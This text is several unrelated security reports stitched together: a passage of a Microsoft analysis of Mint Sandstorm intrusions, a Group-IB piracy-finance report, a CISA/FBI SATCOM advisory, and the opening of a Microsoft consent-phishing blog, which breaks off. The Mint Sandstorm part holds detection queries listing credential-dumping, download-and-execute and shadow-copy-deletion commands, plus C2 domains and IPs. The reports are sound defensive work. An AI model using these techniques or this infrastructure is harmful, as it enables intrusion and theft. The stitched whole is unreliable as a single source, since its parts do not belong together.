carrying out malicious cyber activity.
## Mint Sandstorm tradecraft
Microsoft has observed multiple attack chains and various tools in compromises involving this Mint Sandstorm subgroup. The TTPs detailed below are a sampling of new or otherwise notable tradecraft used by this actor.
### Rapid adoption of publicly disclosed POCs for initial access and persistence
Microsoft has increasingly observed this Mint Sandstorm subgroup adopting publicly disclosed proof-of-concept (POC) code shortly after it is released to exploit vulnerabilities in internet-facing applications. Until 2023, this subgroup had been slow to adopt exploits for recently-disclosed vulnerabilities with publicly reported POCs, often taking several weeks to successfully weaponize exploits for vulnerabilities like Proxyshell and Log4Shell. However, beginning in early 2023, Microsoft observed a notable decrease in the time required for this subgroup to adopt and incorporate public POCs. For example, Mint Sandstorm began exploiting CVE-2022-47966 in Zoho ManageEngine on January 19, 2023, the same day the POC became public. They later exploited CVE-2022-47986 in Aspera Faspex within five days of the POC being made public on February 2, 2023. While this subgroup has demonstrated their ability to rapidly incorporate new public POCs into their playbooks, Microsoft has also observed that Mint Sandstorm continues to use older vulnerabilities, especially Log4Shell, to compromise unpatched devices. As this activity is typically opportunistic and indiscriminate, Microsoft recommends that organizations regularly patch vulnerabilities with publicly available POCs, regardless of how long the POC has been available.
After gaining initial access to an organization by exploiting a vulnerability with a public POC, this Mint Sandstorm subgroup deploys a custom PowerShell script designed for discovery. In some cases, the subgroup does not act on the information they collect, possibly because they assess that a victim does not meet any targeting requirements or because the subgroup wishes to wait and focus on more valuable targets. In cases where Mint Sandstorm operators continue their pursuit of a given target, Microsoft typically observes one of two possible attack chains.
#### Attack chain 1
The Mint Sandstorm subgroup proceeds using Impacket to move laterally through a compromised organization and relies extensively on PowerShell scripts (rather than custom implants) to enumerate admin accounts and enable RDP connections. In this attack chain, the subgroup uses an SSH tunnel for command and control (C2), and the final objective in many cases is theft of the Active Directory database. If obtained, the Mint Sandstorm subgroup can use the Active Directory database to access credentials for users’ accounts. In cases where users’ credentials are accessed and the target organization has not reset corresponding passwords, the actors can log in with stolen credentials and masquerade as legitimate users, possibly without attracting attention from defenders. The actors could also gain access to other systems where individuals may have reused their passwords.
#### Attack chain 2
As is the case in attack chain 1, the Mint Sandstorm subgroup uses Impacket to move laterally. However, in this progression, the operators use webhook.site for C2 and create scheduled tasks for persistence. Finally, in this attack chain, the actors deploy a custom malware variant, such as Drokbk or Soldier. These custom malware variants signal an increase in the subgroup’s level of sophistication, as they shift from using publicly available tools and simple scripts to deploying fully custom developed malicious code.
### Use of custom tools to evade detection
Since 2022, Microsoft has observed this Mint Sandstorm subgroup using two custom implants, detected by Microsoft security products as Drokbk and Soldier, to persist in target environments and deploy additional tools. Drokbk and Soldier both use Mint Sandstorm-controlled GitHub repositories to host a domain rotator containing the operators’ C2 domains. This allows Mint Sandstorm to dynamically update their C2 infrastructure, which may help the operators stay a step ahead of defenders using list-based domain blocking.
- **Drokbk**: Drokbk.exe is a custom .NET implant with two components: an installer, sometimes accessed from a compressed archive on a legitimate file-sharing platform, and a secondary backdoor payload. The Drokbk backdoor issues a web request to obtain the contents of a README file on a Mint Sandstorm-controlled GitHub repo. The README file contains a list of URLs that direct targets to the C2 infrastructure associated with Drokbk.
- **Soldier**: Soldier is a multistage .NET backdoor with the ability to download and run additional tools and uninstall itself. Like Drokbk, Soldier C2 infrastructure is stored on a domain rotator on a GitHub repository operated by Mint Sandstorm. Microsoft Threat Intelligence analysts assess that Soldier is a more sophisticated variant of Drokbk.
In certain cases, this Mint Sandstorm subgroup has used TTPs outside of these attack chains, notably when they have failed to achieve short-term objectives. In one instance, Microsoft also observed the subgroup using TTPs from both attack chains in a single compromised environment. However, in most cases, Mint Sandstorm activity displays one of the above discussed attack chains.
### Low-volume phishing campaigns using template injection
Microsoft has also observed this Mint Sandstorm subgroup using a distinct attack chain involving low-volume phishing campaigns and a third custom implant. In these operations, the group crafts bespoke phishing emails, often purporting to contain information on security policies that affect countries in the Middle East, to deliver weaponized documents to individuals of interest. Recipients are typically individuals affiliated with high-profile think tanks or universities in Israel, North America, or Europe with ties to the security and policy communities. Unlike their initial exploitation of vulnerable internet-facing applications, which is largely indiscriminate and affects organizations across sectors and geographies, activity associated with this campaign was highly targeted and affected fewer than 10 organizations.
The initial emails are most commonly lures designed to social engineer recipients into clicking a OneDrive link hosting a PDF spoofed to resemble information on a topic involving security or policy in the Middle East. The PDF contains a link to a macro-enabled template file (dotm) hosted on Dropbox. This file has been weaponized with macros to perform remote template injection, a technique that allows operators to obtain and launch a payload from a remote C2, often OneDrive. Template injection is an attractive option for adversaries looking to execute malicious code without drawing scrutiny from defenders. This technique can also be used to persist in a compromised environment if an adversary replaces a default template used by a common application.
In these attacks, Microsoft has observed the Mint Sandstorm subgroup using CharmPower, a custom implant, in attacks that began with targeted phishing campaigns. CharmPower is a modular backdoor written in PowerShell that this subgroup delivers in phishing campaigns that rely on template injection. CharmPower can read files, gather information on an infected host, and send details back to the attackers. Reporting from Checkpoint indicates that at least one version of CharmPower pulls data from a specific text file that contains a hardcoded victim identifier.
## What’s next
Capabilities observed in intrusions attributed to this Mint Sandstorm subgroup are concerning as they allow operators to conceal C2 communication, persist in a compromised system, and deploy a range of post-compromise tools with varying capabilities. While effects vary depending on the operators’ post-intrusion activities, even initial access can enable unauthorized access and facilitate further behaviors that may adversely impact the confidentiality, integrity, and availability of an environment. A successful intrusion creates liabilities and may harm an organization’s reputation, especially those responsible for delivering services to others such as critical infrastructure providers, which Mint Sandstorm has targeted in the past.
As these operators increasingly develop and use sophisticated capabilities, organizations must develop corresponding defenses to harden their attack surfaces and raise costs for these operators. Microsoft will continue to monitor Mint Sandstorm activity and implement protections for our customers. The current detections, advanced detections, and IOCs in place across our security products are detailed below and shared with the broader security community to help detect and prevent further attacks.
## Mitigation and protection guidance
The techniques used by this subset of Mint Sandstorm can be mitigated through the following actions:
### Hardening internet-facing assets and understanding your perimeter
Organizations must identify and secure perimeter systems that attackers might use to access the network. Public scanning interfaces, such as Microsoft Defender External Attack Surface Management, can be used to improve data. Vulnerabilities observed in recent campaigns attributed to this Mint Sandstorm subgroup that defenders can identify and mitigate include:
- **IBM Aspera Faspex affected by CVE-2022-47986**: Organizations can remediate CVE-2022-47986 by upgrading to Faspex 4.4.2 Patch Level 2 or using Faspex 5.x which does not contain this vulnerability.
- **Zoho ManageEngine affected by CVE-2022-47966**: Organizations using Zoho ManageEngine products vulnerable to CVE-2022-47966 should download and apply upgrades from the official advisory as soon as possible. Patching this vulnerability is useful beyond this specific campaign as several adversaries are exploiting CVE-2022-47966 for initial access.
- **Apache Log4j2 (aka Log4Shell) (CVE-2021-44228 and CVE-2021-45046)**: Microsoft’s guidance for organizations using applications vulnerable to Log4Shell exploitation can be found in their security advisory. This guidance is useful for any organization with vulnerable applications and useful beyond this specific campaign, as several adversaries exploit Log4Shell to obtain initial access.
This Mint Sandstorm subgroup has demonstrated its ability to rapidly adopt newly reported N-day vulnerabilities into its playbooks. To further reduce organizational exposure, Microsoft Defender for Endpoint customers can use the threat and vulnerability management capability to discover, prioritize, and remediate vulnerabilities and misconfigurations.
### Reducing the attack surface
Microsoft 365 Defender customers can also turn on attack surface reduction rules to harden their environments against techniques used by this Mint Sandstorm subgroup. These rules, which can be configured by all Microsoft Defender Antivirus customers and not just those using the EDR solution, offer significant protection against the tradecraft discussed in this report.
- Block executable files from running unless they meet a prevalence, age, or trusted list criterion.
- Block Office applications from creating executable content.
- Block process creations originating from PSExec and WMI commands.
Additionally, in 2022, Microsoft changed the default behavior of Office applications to block macros in files from the internet, further minimizing the attack surface for operators like this subgroup of Mint Sandstorm.
## Microsoft 365 Defender detections
### Microsoft Defender Antivirus
Microsoft Defender Antivirus detects the Drokbk implant as the following malware:
- Trojan:MSIL/Drokbk.A!dha
- Trojan:MSIL/Drokbk.B!dha
- Trojan:MSIL/Drokbk.C!dha
- Trojan:Win32/Drokbk.C!dha
Microsoft Defender Antivirus detects the Soldier implant as the following malware:
- Trojan:MSIL/SoldierAudio.A!dha
- Trojan:MSIL/SoldierAudio.B!dha
- Trojan:MSIL/SoldierAudio.C!dha
Microsoft Defender Antivirus detects the CharmPower implant as the following malware:
- TrojanDownloader:O97M/RooftopMelt.A!dha
### Microsoft Defender for Endpoint
The following Microsoft Defender for Endpoint alerts can indicate associated threat activity:
- Phosphorus Actor activity detected
### Hunting queries
Microsoft 365 Defender customers can run the following query to find related activity in their networks:
```plaintext
ManageEngine Suspicious Process Execution.
DeviceProcessEvents
| where InitiatingProcessFileName hasprefix "java"
| where InitiatingProcessFolderPath has @"\manageengine\" or InitiatingProcessFolderPath has @"\ServiceDesk\"
| where (FileName in~ ("powershell.exe", "powershell_ise.exe") and
(ProcessCommandLine has_any ("whoami", "net user", "net group", "localgroup administrators",
"dsquery", "samaccountname=", " echo ", "query session", "adscredentials", "o365accountconfiguration", "-
dumpmode", "-ssh", "usoprivate", "usoshared", "Invoke-Expression", "DownloadString", "DownloadFile",
"FromBase64String", "System.IO.Compression", "System.IO.MemoryStream", "iex ", "iex(", "Invoke-WebRequest",
"set-MpPreference", "add-MpPreference", "certutil", "bitsadmin") // "csvhost.exe", "ekern.exe", "svhost.exe",
".dmp"
or ProcessCommandLine matches regex @"[-/–][Ee^]{1,2}[ncodema^]*\s[A-Za-z0-9+/=]{15,}"))
or (FileName =~ "curl.exe" and ProcessCommandLine contains "http")
or (FileName =~ "wget.exe" and ProcessCommandLine contains "http")
or ProcessCommandLine has_any ("E:jscript", "e:vbscript")
or ProcessCommandLine has_all ("localgroup Administrators", "/add")
or ProcessCommandLine has_all ("reg add", "DisableAntiSpyware", @"\Microsoft\Windows Defender")
or ProcessCommandLine has_all ("reg add", "DisableRestrictedAdmin", @"CurrentControlSet\Control\Lsa")
or ProcessCommandLine has_all ("wmic", "process call create")
or ProcessCommandLine has_all ("net", "user ", "/add")
or ProcessCommandLine has_all ("net1", "user ", "/add")
or ProcessCommandLine has_all ("vssadmin", "delete", "shadows")
or ProcessCommandLine has_all ("wmic", "delete", "shadowcopy")
or ProcessCommandLine has_all ("wbadmin", "delete", "catalog")
or (ProcessCommandLine has "lsass" and ProcessCommandLine has_any ("procdump", "tasklist",
"findstr"))
| where ProcessCommandLine !contains "download.microsoft.com" and ProcessCommandLine !contains
"manageengine.com" and ProcessCommandLine !contains "msiexec"
```
```plaintext
Ruby AsperaFaspex Suspicious Process Execution.
DeviceProcessEvents
| where InitiatingProcessFileName hasprefix "ruby"
| where InitiatingProcessFolderPath has @"aspera"
| where (FileName in~ ("powershell.exe", "powershell_ise.exe") and
(ProcessCommandLine has_any ("whoami", "net user", "net group", "localgroup administrators",
"dsquery", "samaccountname=", " echo ", "query session", "adscredentials", "o365accountconfiguration", "-
dumpmode", "-ssh", "usoprivate", "usoshared", "Invoke-Expression", "DownloadString", "DownloadFile",
"FromBase64String", "System.IO.Compression", "System.IO.MemoryStream", "iex ", "iex(", "Invoke-WebRequest",
"set-MpPreference", "add-MpPreference", "certutil", "bitsadmin", "csvhost.exe", "ekern.exe", "svhost.exe",
".dmp")
or ProcessCommandLine matches regex @"[-/–][Ee^]{1,2}[ncodema^]*\s[A-Za-z0-9+/=]{15,}"))
or (FileName =~ "curl.exe" and ProcessCommandLine contains "http")
or (FileName =~ "wget.exe" and ProcessCommandLine contains "http")
or ProcessCommandLine has_any ("E:jscript", "e:vbscript")
or ProcessCommandLine has_all ("localgroup Administrators", "/add")
or ProcessCommandLine has_all ("reg add", "DisableAntiSpyware", @"\Microsoft\Windows Defender")
or ProcessCommandLine has_all ("reg add", "DisableRestrictedAdmin", @"CurrentControlSet\Control\Lsa")
or ProcessCommandLine has_all ("wmic", "process call create")
or ProcessCommandLine has_all ("net", "user ", "/add")
or ProcessCommandLine has_all ("net1", "user ", "/add")
or ProcessCommandLine has_all ("vssadmin", "delete", "shadows")
or ProcessCommandLine has_all ("wmic", "delete", "shadowcopy")
or ProcessCommandLine has_all ("wbadmin", "delete", "catalog")
or (ProcessCommandLine has "lsass" and ProcessCommandLine has_any ("procdump", "tasklist",
"findstr"))
```
```plaintext
Log4J Wstomcat Process Execution.
DeviceProcessEvents
| where InitiatingProcessFileName has "ws_tomcatservice.exe" and FileName !in~("repadmin.exe")
```
```plaintext
Encoded watcher Function.
DeviceProcessEvents
| where FileName =~ "powershell.exe" and ProcessCommandLine hasprefix "-e"
| extend SplitString = split(ProcessCommandLine, " ")
| mvexpand SS = SplitString
| where SS matches regex "^[A-Za-z0-9+/]{50,}[=]{0,2}$"
| extend base64_decoded = replace(@'\0', '', make_string(base64_decode_toarray(tostring(SS))))
| where not(base64_decoded has_any(@"software\checker", "set folder to watch"))
| where base64_decoded has_all("$hst", "$prt") or base64_decoded has_any("watcher", @"WAt`CH`Er()")
```
### Microsoft Sentinel
Microsoft Sentinel customers can use the TI Mapping analytic (a series of analytics all prefixed with “TI map”) to automatically match the indicators mentioned in this blog post with data in their workspace. If the TI Map analytics are not currently deployed, customers can install the Threat Intelligence solution from the Microsoft Sentinel Content Hub to have the analytics rule deployed in their Sentinel workspace.
In addition, Microsoft Sentinel customers can leverage the following content to hunt for and detect related activity in their environments:
#### Indicators of compromise
| Indicator | Type | Description |
|-----------|------|-------------|
| Soldier.exe | File | Soldier backdoor name |
| ad55b4a40f9e52682d9d4f069914e09c941e8b77ca7b615e9deffccdfbc54145 | SHA-256 | Soldier backdoor hash |
| Drokbk.exe | File | Drokbk backdoor name |
| 64f39b858c1d784df1ca8eb895ac7eaf47bf39acf008ed4ae27a796ac90f841b | SHA-256 | Drokbk backdoor hash |
| sync-system-time[.]cf | Domain | Drokbk C2 infrastructure |
| update-windows-security[.]tk | Domain | Drokbk C2 infrastructure |
| dns-iprecords[.]tk | Domain | Drokbk C2 infrastructure |
| universityofmhealth[.]biz | Domain | Drokbk C2 infrastructure |
| oracle-java[.]cf | Domain | Drokbk C2 infrastructure |
| 54.39.202[.]0 | IP address | Drokbk C2 infrastructure |
| 51.89.135[.]15 | IP address | Drokbk C2 infrastructure |
| 51.89.169[.]201 | IP address | Drokbk C2 infrastructure |
| 51.89.187[.]222 | IP address | Drokbk C2 infrastructure |
| NY.docx.docx | File | CharmPower lure document used for template injection |
| 57cc5e44fd84d98942c45799f367db78adc36a5424b7f8d9319346f945f64a72 | SHA-256 | NY.docx.docx hash |
| Abraham%20Accords%20Du.[.]docx | File | CharmPower lure document used for template injection |
| 3dcdb0ffebc5ce6691da3d0159b5e811c7aa91f6d8fc204963d2944225b0119d | SHA-256 | Abraham%20Accords%20Du.[.]docx hash |
| DocTemplate.dotm | File | Malicious remote template document used in intrusions involving CharmPower |
| 65e48f63f455c94d3bf681acaf115caa6e1e60499362add49ca614458bbc4f85 | SHA-256 | DocTemplate.dotm |
| DntDocTemp.dotm | File | Malicious remote template document used in intrusions involving CharmPower |
| 444075183ff6cae52ab5b93299eb9841dcd8b0321e3a90fb29260dc12133b6a2 | SHA-256 | DntDocTemp.dotm hash |
| 0onlyastep0[.]xyz | Domain | CharmPower C2 infrastructure |
| 0readerazone0[.]xyz | Domain | CharmPower C2 infrastructure |
| 0tryamore0[.]xyz | Domain | CharmPower C2 infrastructure |
## References
- Iran: Background and U.S. Policy. Congressional Research Service
- Cobalt Illusion Masquerades as Atlantic Council Employee. Secureworks
- Apt42: Crooked Charms, Cons, and Compromises. Mandiant
- Badblood: TA453 Targets US & Israel in Credential Phishing. Proofpoint
- Treasury Sanctions IRGC-Affiliated Cyber Actors for Roles in Ransomware Activity. U.S. Department of the Treasury
- Officials: Israel Linked to a Disruptive Cyberattack on Iranian Port Facility. The Washington Post
- Iran Says Cyberattack Causes Widespread Disruption at Gas Stations. Thomson Reuters
- Iran’s Evolving Approach to Asymmetric Naval Warfare. The Washington Institute for Near East Policy
- Hackers breach Iran rail network, disrupt service | Reuters. Reuters
- APT35 Exploits Log4J Vulnerability to Distribute New Modular PowerShell Toolkit. Checkpoint
- Iran Says Gas Stations Were Target Of Cyberattack To Foment Unrest (iranintl.com) |
# GROUP-IB JOLLY ROGER’S PATRONS
## GROUP-IB EXPOSES FINANCIAL CRIME NETWORK OF ONLINE PIRATES IN DEVELOPING COUNTRIES
### Introduction
The economic crisis caused by the pandemic, for which no country was prepared, has laid bare a number of problems in today’s society. Both developing and developed countries have suffered and continue to suffer enormous losses. The world’s industries have been desperately trying to survive and are searching for new strategies to ensure global stability. Analysts estimate that, over the next two years, the coronavirus pandemic will strip the world economy of some $5.5 trillion. People are losing their health, their lives, their loved ones, their jobs, their businesses… The situation is becoming a global disaster whose consequences will be felt for decades to come. To make matters worse, this is when cybercrime rears its ugly head.
Since 2015, Group-IB has been annually estimating the size of the Russian video piracy market. The figures are as follows:
- 2015: $32 million
- 2016: $62 million
- 2017: $85 million
- 2018: $87 million
After major pirated content delivery networks (CDNs) Moonwalk and HDGO were shut down in 2019, the market dropped to $63.5 million. It is now rising again, however, due to a second wave of CDNs.
For more than 17 years, Group-IB has been researching the tactics, tools, and monetization schemes used by various cybercriminal groups and individuals whose overall damage to governments worldwide amounts to billions of dollars. We are acutely aware of the cyclic nature of this phenomenon. For cybercriminals, any crisis is a time of prosperity. While for most people financial instability casts aside anything other than survival, criminals raise their profits by taking vast sums of money out of people’s pockets and economies. One shadow economy channel is online piracy.
The fight against this disease within the media industry has been ongoing for some 20 years, but it is only recently that the scale of the piracy business has escalated to such a colossal extent. Russian-speaking cybercriminal conglomerates are no longer content with income that comes solely from video content consumers in Russia and other post-soviet countries. They have started branching out into international markets, mainly in developing countries. This gives them opportunities to increase the capitalization of their shadow businesses manifold.
The US media industry — the largest in the world — is also suffering losses because of piracy. The Global Innovation Policy Center of the US Chamber of Commerce estimates that online piracy costs the US economy up to $29.2 billion.
It has become obvious that pirate resources have adapted to pressure from copyright holders. Pirate infrastructures are resilient to new technologies and certain legal initiatives. Pirates’ main investors are still illegal bookmakers, casinos, and alcohol suppliers, or in other words: the entire black market, which sponsors camrip groups, translators, and IT infrastructures for pirated content.
### Objectives
The purpose of this report is to deliver a devastating blow to cybercrime: to expose the entire structure of online piracy, to uncover the key organizations that sponsor this activity and those behind them. Group-IB’s report contains confidential data, including information on individuals believed to be behind some of the key piracy industry players. Copies of this report have been provided to the Russian Prosecutor General’s office, Russian and international law enforcement agencies.
As an international company, Group-IB is calling on the media industry, on regulating authorities, and on international organizations interested in fighting cybercrime to work together and help dismantle a business that has been developing for years, draining blood and cancelling the efforts of copyright holders worldwide.
### Executive Summary
Shadow investors in online piracy. As part of their anti-piracy and brand protection activities, Group-IB specialists used the follow-the-money approach to identify who profited from unlawful activity. They found that illegal casinos and bookmaker companies were the main beneficiaries and drivers of illicit video streaming services and pirated sports streaming services. The leaders of the illegal casino market are Welcome Partners and Lucky Partners.
Taking advantage of geopolitical tensions, those behind one of the most popular CDNs, Collaps, which provides content to 45% of pirate websites primarily watched by the Russians, are based in Ukraine which allows them to continue unlawful activity.
Use of Russian banks and international payment systems in criminal schemes. Despite most of their owners residing in Ukraine, popular online casinos have been using Russian banks to receive payments as part of their monetization schemes. None of the banks classify this type of activity as MCC 7995.
Symbiosis of gambling and pirated online traffic. Next to films and TV series, sports streaming is becoming a new source of revenue for pirates. The main advertisers in this case are quasi-legal bookmakers: 1xBet, Melbet, Parimatch, Linebet, orca88, Bwin, and others. A streaming service’s average revenue is between 20% and 40% of the sum lost by the gamblers it attracted (depending on the partner program). Well-developed partner programs help bookmakers make more than $21,000 per month (for a website with an average of 70-80 gamblers attracted daily).
Russian-speaking cybercrime in international markets. After being blocked in Russia, shadow bookmakers shifted their focus to:
- Latin America (mainly Brazil)
- India
- Thailand
Having polished their schemes in Russia (which has traditionally been used as a testing ground for cybercrime), they started entering markets with similar characteristics: developing countries, non-English speaking regions, populations with low financial literacy, and countries where sports streaming is highly popular.
This situation resulted in a symbiosis of gambling companies and pirated content. Since 2015, 1xBet has allegedly sponsored content for 17 TV show voiceover studios (i.e. 80% of major voiceover studios). 1xBet is one of the main sponsors of illegal distribution of TV series in the post-soviet region. What’s more, in 2018 1xBet started creating content for other countries.
### Threat of Pirate Websites
As they are highly popular, pirate sites (streaming services, torrent trackers, etc.) are convenient platforms for distributing malware and stealing users’ money and personal data. These sites can be both sources of threats (if their administrators are threat actors) and targets for other threat actors.
During the pandemic, Group-IB screened over 3,100 pirated content websites for viruses, vulnerabilities, and inclusion in blacklists compiled by antivirus software providers and search engines. The resources were divided into three risk categories:
1. Safe websites: Visiting these websites did not entail any risks to users.
2. Relatively safe websites: No threats were detected on these websites. However, analysis revealed various vulnerabilities that could potentially be used for unlawful activities.
3. Dangerous websites: These are websites where various threats (including malware) were detected or websites that have been included in blacklists compiled by antivirus software providers and search engines.
Analysis revealed that up to 23% of pirate resources posed risks to users. Moreover, total visits to dangerous resources in March amounted to 76.8 million.
### Infrastructure of Pirate CDNs
Collaps is one of the most popular CDNs. We believe that its organizers are from Ukraine. They are also the creators of two large pirate streaming services, Baskino and Hdrezka. As of late 2019, 45% of pirate streaming services used this CDN. The main domain is collaps.org. Video players are placed on third-level technical domains, with formats including *.delivembed.cc, *.multikland.net, *.ellinagraypel.com, *.iframecdn.club, and *.apicollaps.
At the moment, access to many of them is restricted. To bypass blocking, the service promptly generates new technical domains and regularly changes its IP pool. New domains are created according to the template api*.(multikland.net|delivembed.cc|ellinagraypel.com) and using the function JavaScript Date.Now(). The content is distributed using technical domains with the formats *.s2w3.space, *.pixars.org, and *.embedcdn.cc. The links were found between the CDN Collaps and the pirate streaming services Baskino and Hdrezka.
### Conclusion
The current structure of the pirated video market comprises specialized advertising networks (bookmakers, casinos, alcohol, etc.) that sponsor camrip groups, translators, CDNs, and pirate websites. CDNs play a key role in online piracy. These services aggregate pirated content, optimize its delivery to the end user, and help video streaming services make money through partner programs. CDNs provide content to up to 80% of pirate video streaming services in Russia and other post-soviet countries. |
# Strengthening Cybersecurity of SATCOM Network Providers and Customers
**Updated May 10, 2022:** The U.S. government attributes this threat activity to Russian state-sponsored malicious cyber actors. Additional information may be found in a statement from the State Department. For more information on Russian malicious cyber activity, refer to cisa.gov/uscert/russia.
## SUMMARY
The Cybersecurity and Infrastructure Security Agency (CISA) and the Federal Bureau of Investigation (FBI) are aware of possible threats to U.S. and international satellite communication (SATCOM) networks. Successful intrusions into SATCOM networks could create risk in SATCOM network providers’ customer environments.
Given the current geopolitical situation, CISA’s Shields Up initiative requests that all organizations significantly lower their threshold for reporting and sharing indications of malicious cyber activity. To that end, CISA and FBI will update this joint Cybersecurity Advisory (CSA) as new information becomes available so that SATCOM providers and their customers can take additional mitigation steps pertinent to their environments.
CISA and FBI strongly encourage critical infrastructure organizations and other organizations that are either SATCOM network providers or customers to review and implement the mitigations outlined in this CSA to strengthen SATCOM network cybersecurity.
To report suspicious or criminal activity related to information found in this Joint Cybersecurity Advisory, contact your local FBI field office or the FBI’s 24/7 Cyber Watch (CyWatch) at (855) 292-3937 or by email at [email protected]. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact. To request incident response resources or technical assistance related to these threats, contact CISA at [email protected].
This document is marked TLP:WHITE. Disclosure is not limited. Sources may use TLP:WHITE when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction.
## MITIGATIONS
CISA and FBI strongly encourage critical infrastructure organizations and other organizations that are either SATCOM network providers or customers to review and implement the following mitigations:
### Mitigations for SATCOM Network Providers
- Put in place additional monitoring at ingress and egress points to SATCOM equipment to look for anomalous traffic, such as:
- The presence of insecure remote access tools—such as Teletype Network Protocol (Telnet), File Transfer Protocol (FTP), Secure Shell Protocol (SSH), Secure Copy Protocol (SCP), and Virtual Network Computing (VNC)—facilitating communications to and from SATCOM terminals.
- Network traffic from SATCOM networks to other unexpected network segments.
- Unauthorized use of local or backup accounts within SATCOM networks.
- Unexpected SATCOM terminal to SATCOM terminal traffic.
- Network traffic from the internet to closed group SATCOM networks.
- Brute force login attempts over SATCOM network segments.
- See the Office of the Director of National Intelligence (ODNI) Annual Threat Assessment of the U.S. Intelligence Community, February 2022 for specific state-sponsored cyber threat activity relating to SATCOM networks.
### Mitigations for SATCOM Network Providers and Customers
- Use secure methods for authentication, including multifactor authentication where possible, for all accounts used to access, manage, and/or administer SATCOM networks.
- Use and enforce strong, complex passwords: Review password policies to ensure they align with the latest NIST guidelines.
- Do not use default credentials or weak passwords.
- Audit accounts and credentials: remove terminated or unnecessary accounts; change expired credentials.
- Enforce principle of least privilege through authorization policies. Minimize unnecessary privileges for identities. Consider privileges assigned to individual personnel accounts, as well as those assigned to non-personnel accounts (e.g., those assigned to software or systems). Account privileges should be clearly defined, narrowly scoped, and regularly audited against usage patterns.
- Review trust relationships. Review existing trust relationships with IT service providers. Threat actors are known to exploit trust relationships between providers and their customers to gain access to customer networks and data.
- Remove unnecessary trust relationships.
- Review contractual relationships with all service providers. Ensure contracts include appropriate provisions addressing security, such as:
- Security controls the customer deems appropriate.
- Provider should have in place appropriate monitoring and logging of provider-managed customer systems.
- Customer should have in place appropriate monitoring of the service provider’s presence, activities, and connections to the customer network.
- Notification of confirmed or suspected security events and incidents occurring on the provider’s infrastructure and administrative networks.
- Implement independent encryption across all communications links leased from, or provided by, your SATCOM provider. See National Security Agency (NSA) Cybersecurity Advisory: Protecting VSAT Communications for guidance.
- Strengthen the security of operating systems, software, and firmware.
- Ensure robust vulnerability management and patching practices are in place and, after testing, immediately patch known exploited vulnerabilities included in CISA's living catalog of known exploited vulnerabilities. These vulnerabilities carry significant risk to federal agencies as well as public and private sector entities.
- Implement rigorous configuration management programs. Ensure the programs can track and mitigate emerging threats. Regularly audit system configurations for misconfigurations and security weaknesses.
- Monitor network logs for suspicious activity and unauthorized or unusual login attempts.
- Integrate SATCOM traffic into existing network security monitoring tools.
- Review logs of systems behind SATCOM terminals for suspicious activity.
- Ingest system and network generated logs into your enterprise security information and event management (SIEM) tool.
- Implement endpoint detection and response (EDR) tools where possible on devices behind SATCOM terminals, and ingest into the SIEM.
- Expand and enhance monitoring of network segments and assets that use SATCOM.
- Expand monitoring to include ingress and egress traffic transiting SATCOM links and monitor for suspicious or anomalous network activity.
- Baseline SATCOM network traffic to determine what is normal and investigate deviations, such as large spikes in traffic.
- Create, maintain, and exercise a cyber incident response plan, resilience plan, and continuity of operations plan so that critical functions and operations can be kept running if technology systems—including SATCOM networks—are disrupted or need to be taken offline.
## CONTACT
All organizations should report incidents and anomalous activity to CISA 24/7 Operations Center at [email protected] or (888) 282-0870 and/or to the FBI via your local FBI field office or the FBI’s 24/7 CyWatch at (855) 292-3937 or [email protected].
## RESOURCES
- National Security Agency (NSA) Cybersecurity Advisory: Protecting VSAT Communications
- NSA Cybersecurity Technical Report: Network Infrastructure Security Guidance
- Office of the Director of National Intelligence (ODNI): Annual Threat Assessment of the U.S. Intelligence Community, February 2022
- CISA Tip: Choosing and Protecting Passwords
- CISA Capacity Enhancement Guide: Implementing Strong Authentication |
# Microsoft Delivers Comprehensive Solution to Battle Rise in Consent Phishing Emails
Microsoft threat analysts are tracking a continued increase in consent phishing emails, also called illicit consent grants, that abuse OAuth request links in an attempt to trick recipients into granting attacker-owned apps permissions to access sensitive data. This blog offers a look into the current state of consent phishing emails as an initial attack vector and what security administrators can do to prevent, detect, and respond to these threats using advanced solutions like Microsoft Defender for Office 365.
Consent phishing attacks aim to trick users into granting permissions to malicious cloud apps in order to gain access to users' legitimate cloud services. The consent screen displays all permissions the app receives; and because the cloud services are legitimate, unsuspecting users accept the terms or hit ‘enter,’ which grants the malicious app those requested permissions.
Consent phishing attacks are a specialized form of phishing, so they require a comprehensive, multi-layer defense. It’s important for system administrators to gain visibility and control over apps and the permissions these apps have in their environment. User consent settings with consent policies in Azure Active Directory enable administrators to manage when end users can grant consent to apps. A new app governance add-on feature in Microsoft Defender for Cloud Apps provides organizations the visibility to enable them to quickly identify when an app exhibits anomalous behavior.
Microsoft has previously warned against these application-based attacks as many organizations shifted to remote work at the onset of the COVID-19 pandemic. Microsoft’s Digital Crimes Unit (DCU) has also taken steps to disrupt cybercriminal infrastructure used for particular consent phishing campaigns.
## The State of Consent Phishing Attacks
Consent phishing attacks abuse legitimate cloud service providers, including Microsoft, Google, and Facebook, that use OAuth 2.0 authorization—a widely used industry protocol that allows third-party apps to access a user’s account and perform actions on their behalf. The goal of these attacks is to trick unsuspecting users into granting permissions (consent) to malicious attacker-owned applications. This is different from a typical credential harvesting attack, where an attacker looking to steal credentials would craft a convincing email, host a fake landing page, and expect users to fall for the lure. If the attempt is successful, user credentials are then passed on to the attacker.
In a consent phishing attack, the user sign-in takes place at a legitimate identity provider, rather than a fake sign-in page, in an attempt to trick users into granting permissions to malicious attacker-controlled applications. Attackers use the obtained access tokens to retrieve users’ account data from the API resource, without any further action by the user. Targeted users who grant the permissions allow attackers to make API calls on their behalf through the attacker-controlled app. Depending on the permissions granted, the access token can also be used to access other data, such as files, contacts, and other profile details. Microsoft Defender for Office 365 data shows an increasing use of this technique in recent months.
In most cases, consent phishing attacks do not involve password theft, as access tokens don’t require knowledge of the user’s password, yet attackers are still able to steal confidential data and other sensitive information. Attackers can then maintain persistence in the target organization and perform reconnaissance to further compromise the network.
A typical consent phishing attack follows this attack chain. Attackers typically configure apps so that they appear trustworthy, registering them using names like “Enable4Calc,” “SettingsEnabler,” or “Settings4Enabler,” which resemble legitimate business productivity app integrations. Attackers then distribute OAuth 2.0 URLs via conventional email-based phishing attacks, among other possible techniques. Clicking the URL triggers an authentic consent prompt, asking users to grant the malicious app permissions. Other cloud providers, such as Google, Facebook, or Twitter, display consent prompts or dialog boxes that request users’ permissions on behalf of third-party apps. The permissions requested vary depending on the app.
